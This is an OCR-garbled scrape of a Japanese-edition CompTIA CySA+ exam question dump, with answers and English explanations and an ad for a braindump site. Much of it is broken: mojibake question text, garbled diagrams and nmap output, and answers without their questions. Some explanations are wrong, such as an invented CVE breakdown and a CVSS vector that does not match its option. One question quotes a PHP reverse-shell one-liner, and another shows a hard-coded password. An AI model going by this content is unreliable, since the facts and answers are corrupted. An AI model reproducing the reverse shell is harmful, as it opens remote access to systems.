multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic,
and providing scalability and redundancy for the website12. References: How to Stop a DDoS Attack:
Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare
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Answer: B,D (A —yt—T %5%7)

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and
using micro segmentation to restrict connectivity to/from the web and database servers are two
compensating controls that will help contain the adversary while meeting the other requirements. A
compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an
attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and
Response, which is a tool that monitors endpoints for malicious activity and provides automated or
manual response capabilities. EDR can help contain the adversary by detecting and blocking their
actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro
segmentation is a technique that divides a network into smaller segments based on policies and rules,
and applies granular access controls to each segment. Micro segmentation can help contain the
adversary by isolating the web and database servers from other parts of the network, and limiting the
traffic that can flow between them. Official References:
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* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
* https://www.comptia.org/certifications/cybersecurity-analyst
* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
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A. SLA

B. ik

C.RE

D. KPI

Answer: A (A —yt—T#ET)

SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to
network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as it reflects the
agreement between a service provider and a customer that specifies the services, quality, availability,
and responsibilities that are agreed upon. An SLA is a common type of document that is used in various
industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes
metrics and indicators to measure the performance and quality of the service, such as uptime, response
time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures
of the service, such as penalties, refunds, or credits. An SLA can help to manage customer expectations,
formalize communication, improve productivity, and strengthen relationships. The other terms are not as
accurate as SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a
document that outlines the main terms and conditions of a proposed agreement between two or more
parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or
interest of the parties to enter into a future agreement. An LOI can help to clarify the key points of a deal,
facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a
document that describes a mutual agreement or cooperation between two or more parties, without
creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less
formal than a contract. An MOU can help to establish a common ground, define roles and responsibilities,
or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a
measurable value that demonstrates how effectively an organization or individual is achieving its key
objectives or goals. A KPI is usually quantifiable andspecific, such as revenue growth, customer
satisfaction, or employee retention. A KPI can help to track progress, evaluate performance, or identify
areas for improvement.
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REDETOTA RBEEIEBHNICERINATHEY 11— —DRECIERDOERZVLELET HEMHEL
BEMKICERGEEZRIFILETN ATAICERELFEFRA, COEATAERICH L TR EHER
CVE A MY IIERDENTTH,

A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L

B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
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C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H

D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

Answer: A (A —vyt—T%EY)

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the
attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N),
the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the
availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss
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XAV TA TFIRAME RV T—Y L—T 4V EDEEEZRELELSIELTVWET , 7FHUR
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A. function x() { info=$(geoiplookup $1) && echo "$1 | $info" }

B. function x() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" }

C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" {print $1} ").origin.asn.
cymru.com TXT +short) && echo "$1 | $info" }

D. function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }

Answer: C (A —vt—U%5&9)

The function that can be used on a shell script to identify anomalies on the network routing most
accurately is:

function x() { info=(dig(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1} ').origin.asn.cymru.com
TXT +short) && echo "$1 | $info" } This function takes an IP address as an argument and performs two
DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS
lookup and get the hostname associated with the IP address. The second lookup uses the
origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related
to the IP address. The function then prints the IP address and the ASN information, which can help
identify any routing anomalies or inconsistencies
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Answer: A (A —vyt—T%EY)

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security
incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of
threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.
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Answer: D (A —vyt—T%EY)

A digital certificate is a document that contains the public key and identity information of a web server,
and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate
allows the web server to establish a secure connection with the clients using the HTTPS protocol, and
also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not
signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website,
as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when
trying to access the website, indicating that the site could not be trusted or that the connection is not
secure. Official References:

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers
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Answer: A (A —vyt—T%EY)

Communicating with staff about the official public communication plan is important to avoid unauthorized
or inaccurate disclosure of information that could harm the organization's reputation, security, or legal
obligations. It also helps to ensure consistency and clarity of the messages delivered to the public and
other stakeholders.

https://resources.sei.cmu.edu/asset_files/Handbook/2021_002_001_651819.pdf
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Answer: CE (A —vt—V%#&Y)

A social engineering attack is a type of cyberattack that relies on manipulating human psychology rather
than exploiting technical vulnerabilities. A social engineering attack may involve deceiving, persuading, or
coercing users into performing actions that benefit the attacker, such as clicking on malicious links,
divulging sensitive information, or granting access to restricted resources. An obfuscated link is a link that
has been disguised or altered to hide its true destination or purpose. Obfuscated links are often used by
attackers to trick users into visiting malicious websites or downloading malware. In this case, an incident
response analyst notices multiple emails traversing the network that target only the administrators of the
company. The email contains a concealed URL that leads to an unknown website in another country.
This indicates that the analyst is witnessing a social engineering attack using obfuscated links.

B #1735 CS0-003J [EIESE (L GoShiken.com AR I =4 LA59 LY CS0-003J AR RESE !
GoShiken.com M & #HTMD CS0-003J FAERMEIREE Z1Rfit L TLVET, GoShiken.com CS0-003J 5t B& i E
IR T MENERETTIVET, BIFTD GoShiken.com CS0-003J) FEEZ Y Y FFTBHAEXIT B D!
https://www.goshiken.com/CompTIA/CS0-003J-mondaishu.html (43630%OFFRAREEE % & IEfg{+ &

T 30%wiAIEI5Ia— K: Freepdfdumps)
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Answer: (fAZEZRTT 5)

Key pair authentication is a method of using a public and private key to securely access cloud resources,
such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more
secure than user and password or PAM, and does not require an additional factor like MFA.

Ex#TERE: 183
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Answer:

il

Name: CandyManCari.Local

see the answer below in explanation:

Explanation:

Answer below images

Name: CandyManCarl.Local

Role:
| File Server

Name: FarmerLaura.Local
Role:
| Mail Server

IP Address:

|P Address:

[192.168.1.20

[192.168.1.30

You Are Here

Console

Fils Sarver Databass
Rl Robe: Dtabaso Role: File Server
| " - Swiich - Weob Server
IP Address: IP Address: 1P Address: Masd Sarver
| | |
E RPC 135
HMon-Compliant Service: ~ HTTPEO
= IMAP/S 983
[ S5H 22
DM5 53
IMAP 143
MHatBIOS 136
HTTPS 443
nternet m!ﬁ
seoeceso s SMBICIFS 445
MYSOL 3308
Teinat 23
FTP21
You Are Here . | File Server
3 | | o
= Switch
1l ,p | Web Server
L Mall Servar
Non-Cormpliant Serdos: |
FTP 21 A
SMEUCIFS 445
RPC 135 SMTP 25
DNS 53 DG 53
Talnat 23 Talnat 23
IMAP 143 SMBICIFS 445
HTTPS 443 HTTP 80
HTTP 80 NeIBIOS 139
IMAPYS S50 RPC 135
SMTP 25 IMAPTS 893
NetBIOS 139 MYSOL 3306
MYSOL 3308 HTTRS 443

IP Address:
192.168.1.40

Name: FarmerTed.Local
e

| Switch

IP Address:

[192.168.1.10
MWEM Service:

3

wa |

Name: LunchTimeMike.Local
| Web Server

IP Address:

1102.168.1.25

Non-Corigliant Sorvice:




[root@serverl ~]# nmap candymancarl.local

insecure.org/nmap/ ) at
(192.168.1.20):

STATE SERVICE
open
open msrpc Microsoft Windows RPC
open netbios-ssn
open microsoft-ds
9: 27:D9:8E:D4 (SymetricalhSyStems

Nmap finished:

[root@serverl ~]# nmap farmerlaur@iliocad

(Symetrical Systems Industries Consortium)
host up) scanned in 0.420 seconds

[rocot@serverl ~]# nmap sandwichsara.local

tarting Nmap 7.01 ( http://www.insefure.onginmaph, ) at

Interesting ports on SandwichSara.LoGal (192 A6851540):




PC1

Starting Nmap 7.01 ( http://www.insecure.org/nmap/ )
Interesting ports on SandwichSara.Local (192.168.1.40):

Not shown: 1677 closed ports

PORT STATE SERVICE

22/tcp open ssh

53/udp open dns

3306/tcp open mysqgl

MAC Address: 09:00:27:D9:8E:D1 (Symetrical Systems Industri

Nmap finished: 1 IP address (1 host up) scanned in 0.420
[root@serverl ~]# nmap farmerted.local

Starting Nmap 7.01 ( http://www.insecure.o

Interesting ports on FarmerTed.Local (192.

Not shown: 1678 clesed.ports

PORT STATE SERNICE

22/ 8Cp open a5h

23/tcp open telnet

MAC Address: 09:00:27:D9:8E:D6 (Symetsi 1 Sy T Industries Consortium)

Nmap finished: 1 IP address (1 _hestilpl/ Sscanned in 0.420 seconds

[root@serverl ~]# nmap lunchtimemike.local

Starting Nmap 7.01 tr ) at 2016-03-02 16:20 EST
Interesting ports on“lur 1 0.1 10.25):

Not shown: 1677 closed

PORT STATE

22/tcp open s5h

80/tcp open http

443/tcp open https

MAC Address: 09:00:27:D9:8E:D5 (Symetrical Systems Industries Consortium)

Nmap finished: 1 IP address (1 host up) scanned in 0.420 seconds

[root@serverl ~]#
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A. #i[F

B. K381t

C.CVSS

D. & E(ffE

Answer: B (A —vt— U %&9)

Weaponization is a factor that describes how an adversary develops or acquires an exploit or payload
that can take advantage of a vulnerability and deliver a malicious effect. Weaponization can increase the
severity or impact of a vulnerability, as it makes it easier or more likely for an attacker to exploit it
successfully and cause damage or harm. Weaponization can also indicate the level of sophistication or
motivation of an attacker, as well as the availability or popularity of an exploit or payload in the cyber
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threat landscape. In this case, an older CVE with a vulnerability score of 7.1 was elevated to a score of
9.8 due to a widely available exploit being used to deliver ransomware. This indicates that weaponization
was the reason for this escalation.
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Answer: (&% &RT9 5)

Automation is the best concept to describe the example, as it reflects the use of technology to perform
tasks or processes without human intervention. Automation can help to improve efficiency, accuracy,
consistency, and scalability of various operations, such as identity and access management (IAM). IAM is
a security framework that enables organizations to manage the identities and access rights of users and
devices across different systems and applications. IAM can help to ensure that only authorized users and
devices can access the appropriate resources at the appropriate time and for the appropriate purpose.
IAM can involve various tasks or processes, such as authentication, authorization, provisioning,
deprovisioning, auditing, or reporting.

Automation can help to simplify and streamline these tasks or processes by using software tools or
scripts that can execute predefined actions or workflows based on certain triggers or conditions. For
example, automation can help to create, update, or delete user accounts in bulk based on a file or a
database, rather than manually entering or modifying each account individually. The example in the
question shows that an APl is used to insert bulk access requests from a file into an identity management
system. An API (Application Programming Interface) is a set of rules or specifications that defines how
different software components or systems can communicate and exchange data with each other. An API
can help to enable automation by providing a standardized and consistent way to access and manipulate
data or functionality of a software component or system. The example in the question shows that an API
is used to automate the process of inserting bulk access requests from a file into an identity management
system, rather than manually entering each request one by one. The other options are not correct, as
they describe different concepts or techniques.

Command and control is a term that refers to the ability of an attacker to remotely control a compromised
system or device, such as using malware or backdoors. Command and control is not related to what is
described in the example. Data enrichment is a term that refers to the process of enhancing or
augmenting existing data with additional information from external sources, such as adding demographic
or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the
example. Single sign- on is a term that refers to an authentication method thatallows users to access
multiple systems or applications with one set of credentials, such as using a single username and
password for different websites or services.

Single sign-on is not related to what is described in the example.
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Answer: D (A —vyt—T%EY)

The Diamond Model of Intrusion Analysis focuses on understanding the relationships between the
adversary, their capabilities, infrastructure, and victim. It provides a structured approach to examining
how attackers exploit information assets. According to CompTIA CySA+, this model is valuable for
detailing attack patterns and understanding the infrastructure attackers use. The other options, like
Structured Threat Information Expression (A) and OWASP Testing Guide (B), address threat data sharing
and web application testing, respectively, while the Open Source Security Testing Methodology Manual
(OSSTMM) (C) covers general security testing procedures.
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Answer: D (A —vyt—T%EY)

Email header analysis is one of the security operations tasks that are ideal for automation. Email header
analysis involves checking the email header for various indicators of phishing or spamming attempts,
such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence
metrics. Email header analysis can be automated using tools or scripts that can parse and analyze email
headers and take appropriate actions based on predefined rules or thresholds
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Answer: C (A —yt—T#ET)

Comprehensive Detailed Explanation:A Service Level Agreement (SLA) defines the expectations,
requirements, and metrics for third-party services, including response times and responsibilities during an
event. Here's an overview of each option:

* A. BIA (Business Impact Analysis)

* Explanation: BIA is used to assess potential impacts of disruptions to business operations, but it does
not specify third-party response requirements.

* B. DRP (Disaster Recovery Plan)

* Explanation: DRP provides recovery procedures for internal systems and services but does not directly
establish third-party obligations.

* C. SLA (Service Level Agreement)

* Explanation: SLAs set clear expectations for third-party services, including response times, performance
metrics, and specific requirements during incidents. SLAs ensure accountability for external providers
during critical events.

* D. MOU (Memorandum of Understanding)

* Explanation: An MOU defines general terms and intentions between parties but lacks the specific
performance metrics required in an SLA.
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Answer: D (A —vyt—T#ET)

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to
execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as
JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The
malicious code can then access or manipulate the user's session, cookies, browser history, or personal
information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing
sites, or installing malware12 The line in the web server log shows an example of an XSS attack using
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VBScript. The attacker tried to insert an <IMG> tag with a malicious SRC attribute that contains a
VBScript code. The VBScript code is intended to display a message box with the text "test" when the user
views the web page or application. This is a simple and harmless example of XSS, but it could be used to
test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks3
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Answer: (&% &KT~9 5)

When a patch cannot be deployed due to conflicting routine system upgrades, updating the risk register
and requesting a change to the Service Level Agreement (SLA) is a practical approach. It allows for re-
evaluation of the risk and adjustment of the SLA to reflect the current situation.
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php -r '"S$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
RDENDEABNTLNETM?
AVE—FrI7AILDA I IL—F
B.avw> kA4 rozHoay
C.H—nN—fl) I TR +IT+—2xY)
D. )/\—RXLzx)l
Answer: B (A —vyt—T%#ET)
The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a
command injection attack.References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition,
Chapter
5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

HTEIRE: 192

X2V T4 FFTFIRMEIT— b4y b FYTFYZRELT EHOLWIP 7 FLAA
DEMEBHLEISDELTVWETS  EFaTa FFIVRA I, ROITVRDIBLENEETTSHIE
R T ORELHY FITH,

A. grep [IP7 K L X] packets.pcapB cat packets.pcap | grep [IP7 F L X]

B. tcpdump -n -r packets.pcap "X k [IP 7 K L X]
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C. X% packets.pcap | grep [IP 7 K L X]

Answer: (fAZEZ%RTT 5)

tcpdump is a command-line tool that can capture and analyze network packets from a given interface or
file.

The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r
option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that
tcpdump should only display packets that have the given IP address as either the source or
thedestination. This command can help the security analyst detect connections to a suspicious IP
address by collecting the packet captures from the gateway. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers
* https://www.reddit.com/r/CompTIA/comments/tmxx84
/passed_cysa_heres_my_experience_and_how _i_studied/
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A. DMARC

B. DKIM

C. SPF

D. SMTP

Answer: A (A —vyt—T%EY)

Comprehensive and Detailed Explanation:

DMARC (Domain-based Message Authentication, Reporting, and Conformance)helps organizations
prevent email spoofing and phishing by enforcing policies based on SPF and DKIM.

* Option B (DKIM - DomainKeys ldentified Mail)verifies message integritybut does not enforce policies.

* Option C (SPF - Sender Policy Framework)prevents spoofingbut is not as comprehensive as DMARC.
* Option D (SMTP - Simple Mail Transfer Protocol)is just anemail delivery protocol, not a security control.
Thus,A (DMARC) is the correct answer, asit combines SPF and DKIM to prevent spoofing and phishing
attacks.
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TcpTestSucceeded: False

TR MIEGHEEZERT SHIZROENZFERALELEZAN?

A. nmap

B. tnc

C. ping

D. tracert

Answer: (fRZE%RTT B)

Comprehensive Detailed Explanation:The command output shown indicates that the analyst used a TCP
connection test to check if communication on port 443 (usually HTTPS) succeeded. Here's why each
option was or was not suitable:

* A. nmap: While nmap can scan ports, it does not provide direct feedback on connection success or
failure in the manner shown.

* B. tnc (Test-NetConnection in PowerShell): This command in PowerShell is specifically designed to test
connectivity to a specified port and IP address. The output (TcpTestSucceeded: False) is characteristic of
the thc command.

* C. ping: The ping command only tests ICMP echo replies and does not indicate success or failure on
specific ports.

* D. tracert: tracert traces the path packets take to reach a host but does not provide a direct indication of
port availability or success.

EFTfEIRE: 195
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. Tine elapsed in
Start time Detection time minutes ;
720 am 10:30 a.my 180
12:00 am 2:30@m 150
9:25am M2 15pm kL
3:25 p.m {5464 140
A. 140
B. 150
C. 160
D. 180

Answer: C (A —vyt—T#ET)

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents.
From the given data: (180+150+170+140)/4 = 160 minutes. This is the correct answer according to the
CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA
CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003
Certification Study Guide, Chapter 4, page 161.
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Answer: C (A —vyt—T %K)

Mean time to detect (MTTD) is a metric that measures the average time it takes for an organization to
discover or detect an incident. It is a key performance indicator in incident management and a measure of
incident response capabilities. A low MTTD indicates that the organization can quickly identify security
threats and minimize their impact12.
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Passive network foot printing is the best description of the example, as it reflects the technique of
collecting information about a network or system by monitoring or sniffing network traffic without sending
any packets or interacting with the target. Foot printing is a term that refers to the process of gathering
information about a target network or system, such as its IP addresses, open ports, operating systems,
services, or vulnerabilities.

Foot printing can be done for legitimate purposes, such as penetration testing or auditing, or for malicious
purposes, such as reconnaissance or intelligence gathering. Foot printing can be classified into two
types:

active and passive. Active foot printing involves sending packets or requests to the target and analyzing
the responses, such as using tools like ping, traceroute, or Nmap. Active foot printing can provide more
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accurate and detailed information, but it can also be detected by firewalls or intrusion detection systems
(IDS). Passive foot printing involves observing or capturing network traffic without sending any packets or
requests to the target, such as using tools like tcpdump, Wireshark, or Shodan. Passive foot printing can
provide less information, but it can also avoid detection by firewalls or IDS. The example in the question
shows that the attacker has gained access to the syslog server on a LAN and reviewed the syslog entries
to prioritize possible next targets. A syslog server is a server that collects and stores log messages from
various devices or applications on a network. A syslog entry is a record of an event or activity that
occurred on a device or application, such as an error, a warning, or an alert. By reviewing the syslog
entries, the attacker can obtain information about the network or system, such as its configuration, status,
performance, or security issues.

This is an example of passive network foot printing, as the attacker is not sending any packets or
requests to the target, but rather observing or capturing network traffic from the syslog server. The other
options are not correct, as they describe different techniques or concepts. OS fingerprinting is a
technique of identifying the operating system of a target by analyzing its responses to certain packets or
requests, such as using tools like Nmap or Xprobe2. OS fingerprinting can be done actively or passively,
but it is not what the attacker is doing in the example. Service port identification is a technique of
identifying the services running on a target by scanning its open ports and analyzing its responses to
certain packets or requests, such as using tools like Nmap or Netcat. Service port identification can be
done actively or passively, but it is not what the attacker is doing in the example. Application versioning is
a concept that refers to the process of assigning unique identifiers to different versions of an application,
such as using numbers, letters, dates, or names. Application versioning canhelp to track changes,
updates, bugs, or features of an application, but it is not related to what the attacker is doing in the
example.
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Answer: A (A —vyt—T %K)

Performing a tabletop drill based on previously identified incident scenarios is the best way to test the
changes to the BC and DR plans without any impact to the business, as it is a low-cost and low-risk
method of exercising the plans and identifying any gaps or issues. A tabletop drill is a type of BC/DR
exercise that involves gathering key personnel from different departments and roles and discussing how
they would respond to a hypothetical incident scenario. A tabletop drill does not involve any actual
simulation or disruption of the systems or processes, but rather relies on verbal communication and
documentation review.
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A tabletop drill can help to ensure that everyone is familiar with the BC/DR plans, that the plans reflect the
current state of the organization, and that the plans are consistent and coordinated across different
functions.

The other options are not as suitable as performing a tabletop drill, as they involve more cost, risk, or
impact to the business. Simulating an incident by shutting down power to the primary data center is a
type of BC/DR exercise that involves creating an actual disruption or outage of a critical system or
process, and observing how the organization responds and recovers. This type of exercise can provide a
realistic assessment of the BC

/DR capabilities, but it can also cause significant impact to the business operations, customers, and
reputation.

Migrating active workloads from the primary data center to the secondary location is a type of BC/DR
exercise that involves switching over from one system or site to another, and verifying that the backup
system or site can support the normal operations. This type of exercise can help to validate the
functionality and performance of the backup system or site, but it can also incur high costs, complexity,
and potential errors or failures. Comparing the current plan to lessons learned from previous incidents is
a type of BC/DR activity that involves reviewing past experiences and outcomes, and identifying best
practices or improvement opportunities. This activity can help to update and refine the BC/DR plans, but it
does not test or validate them in a simulated or actual scenario
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SLA stands for Service Level Agreement, which is a contract that defines the various levels of
maintenance to be provided by an external business vendor in a secure environment. An SLA specifies
the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability,
and performance of the service, as well as the metrics and methods for measuring and reporting the
service level. An SLA also outlines the penalties or remedies for any breach or failure of the service level.
An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and
secure manner, and that the customer receives the service that meets their needs and requirements.
Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
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SOCT7FTURKMNE VFATUo b Y—N=FT)5—23 0 DTNy HA— ATV FOEHZEART
WAEZFIZ RORNBZHALET,

getconnection (database01, "alpha ", "AXTV. 127GdCx94GTd") ;
COVATLTRLIMEHEELGLHAEENSVLDIERODENTT H?

A. ANREED RN

B.SQLA > o3y

C./ \— kFa— FEn=FZRFER

D.N\Y 774 —N\—2J0—KE

Answer: C (A —vyt—T%EY)

The most likely vulnerability in this system is hard-coded credential. Hard-coded credential is a practice of
embedding or storing a username, password, or other sensitive information in the source code or
configuration file of a system or application. Hard-coded credential can pose a serious security risk, as it
can expose the system or application to unauthorized access, data theft, or compromise if the credential
is discovered or leaked by an attacker. Hard-coded credential can also make it difficult to change or
update the credential if needed, as it may require modifying the code or file and redeploying the system
or application.
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HIBRICSHRGREE LT IP ZIEALEERE . Ay T—9 F53 74 vV ZHIML THRBEER T vV
FEERELEVWEEATVWEY, COEBZRIICH EZTLDERD S ENTTA?

A. S+EB

B.I—Y Y kR—X

C.ZBRE7T L

D. FREEFH

Answer: B (A —vt—U%&9)

Agent-based vulnerability scanning is a method that involves installing software agents on the target
systems or networks that can perform local scans and report the results to a central server or console.
Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and
only the results are transmitted over the network. Agent-based vulnerability scanning can also provide
more accurate and up-to- date results, as the agents can scan continuously or on-demand, regardless of
the system or network status or location.

BT RE: 202
XU T4 PHIRAREF—LIZHIDOY EREBRY )T FTEREATWSERY ) T FEEN
BEEDHLILONEINZHIBLESELTVWET , RORV YT HBHELET,

foreach (Suser in Get-Content .\this.txt)

Get-ADUser Suser -Properties primaryGrouplID |selact-object primaryGroupll
Add-AlGroupMember “Domain Users™ embers Suser
Set-ADUser Suser -Replace @iprimaryGroubIDz&la}

ROV TITRERODRY ) TFEBOENNERSNELA?
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Answer: A (A —vyt—T %)

The script uses PowerShell syntax, such as cmdlets, parameters, variables, and comments. PowerShell
is a scripting language that can be used to automate tasks and manage systems.
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HAEAS CSIRT ZiEMIELFEL-, X2 T4 T7FIVRME BE—DREY—N\—NRESh BIEIC
FTYRIT—ODGREEIN-EZEZTUVET CSIRT BRITTOIREZLIFRDSBEENTTH?

A BESNEY—N—DRFTY T3y bEREBL TOBEMEERIILET,
B.#EZZIT-H—N\—Z2EXLTILVIT7ZHIKRLET,

C. BT H=-OICEYGEAFHEICERLET,

D. VIO IT7HZHAELTCEEZHELFT

Answer: A (A —vt—U %Y

The next action that the CSIRT should conduct after isolating the compromised server from the network is
to take a snapshot of the compromised server and verify its integrity. Taking a snapshot of the
compromised server involves creating an exact copy or image of the server's data and state at a specific
point in time.

Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered
with during or after its creation. Taking a snapshot and verifying its integrity can help preserve and protect
any evidence or information related to the incident, as well as prevent any tampering, contamination, or
destruction of evidence.
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A3 =2y MZARAEINTLNS Web H—/N\—DfESBEEHRF v UoNGRESZTLELEE, X2 UTa 7
FTURMY HERELTHELONRY PLXFHEHERLTWET,

ffE5514% 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI: N/S: U/C: H/I: L/A:L

ffzg51% 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI: N/S: U/C: L/I: L/A: H z551% 3: CVSS: 3.0/AV:A/AC: H/PR:
L/UI: R/S: U/C: L/I: H/A:L Mz351% 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI: N/S: U/C: H/I:N/A:L RDIEFTEHED S5
L5 KAV FEERTIDLENHLIDIEENTITH?

A. Hfaggtk 2

B. ffE551% 1

C. fiz5514% 3

D. fz551% 4

Answer: B (A —vyt—T%EY)
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Answer: B,D (A —vyt—T%EY)

Reviewing the code and debugging the code are two methods that can help a developer identify and fix
runtime errors in the code. Reviewing the code involves checking the syntax, logic, and structure of the
code for any errors or inconsistencies. Debugging the code involves running the code in a controlled
environment and using tools such as breakpoints, watches, and logs to monitor the execution and find the
source of errors.

Both methods can help improve the quality and security of the code.
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Answer: A (A —vyt—T#ET)

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This
is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures
that the sender cannot deny the authenticity of their message. Non-repudiation is a fundamental aspect of
secure messaging systems, especially in banking and financial communications.
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Vulnerability CVSSv3.1 exploitability
name metrics

AV:N
AC:H
PR:H
ULR

AV:N
AC:H
PR:H
UEN
AV:L
AC:L
PR:H
UI:R

AV:N
AC:L
PR:N
UI:N

sweet.bike

nessie.explosion

T
T

great.sKills

ROMEFEED S S BENIEET IVENHDILDITENTTN?

A. nessie.explosion

B. vote.4p

C.RA4—bknN14Y

D. ®RESL LLVARFIL

Answer: (&% %XKT9 D)

nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score
of

8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and
technical means by which the vulnerability can be exploited. The exploitability score is calculated based
on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher
the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker12.
nessie.
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explosion has the highest exploitability score because it has the lowest values for all four metrics:
Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be
exploited remotely over the network, without requiring any user interaction or privileges, and with low
complexity.

Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be
remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have
higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or
Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they
require physical proximity, user involvement, or some privileges34. References: CVSS v3.1 Specification
Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples -
FIRST
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FFHFIVAMI ROZIU P FECH—N\—EBEOMHEELR—FEFLEaL—LTWET,
CVSS  |gosmr o~ [Cloyn [Exploi

Vuinerability Severity iy jewer\. |available

EOL/Obsolete
Logd| v1 x
EOL/'Obsolete
Logdj v1 x
EOL/Obsoletle
Logdj v1 x
Microsol
Windows

Security
Update

Microsofl
Windows
Security
Update
Microsofl
Windows
110

Security 4 8.2 54 74 110228 |Yes |Yes
Update

Oracla Java
Cntical Patch

Oracle Java
Critical Patch

Oracle Java
Critical Patch 3 69 10101 27 88 |Yas No

RDVATLD>H Ny FERAZHEVICEBET ILENHLIDEENTTA?

A. 10.101.27.98

B. 54.73.225.17

C.54.74.110.26

D. 54.74.110.228

Answer: D (A —vyt—T%EY)

The system that should be prioritized for patching first is 54.74.110.228, as it has the highest number and
severity of vulnerabilities among the four systems listed in the vulnerability report. According to the report,

) - 54 71322415 |No No

5 - 54 7322517 |Yes No

5 = 10 101.27 98 |Yes No

4 8.2 101001052 [No Yes

4 82 54 74 110 26 No Yes

3 6.9 101012565 |Yes No

3 6.9 54 7322517 |Yes No
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this system has 12 vulnerabilities, with 8 critical, 3 high, and 1 medium severity ratings. Thecritical
vulnerabilities include CVE-2019-0708 (BlueKeep), CVE-2019-1182 (DejaBlue), CVE-2017-0144
(EternalBlue), and CVE-2017-0145 (EternalRomance), which are all remote code execution
vulnerabilities that can allow an attacker to compromise the system without any user interaction or
authentication. These vulnerabilities pose a high risk to the system and should be patched as soon as
possible.

Ex#fERE: 209
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A tabletop exercise is the most likely action that an analyst would perform after an incident has been
investigated. A tabletop exercise is a simulation of a potential incident scenario that involves the key
stakeholders and decision-makers of the organization. The purpose of a tabletop exercise is to evaluate
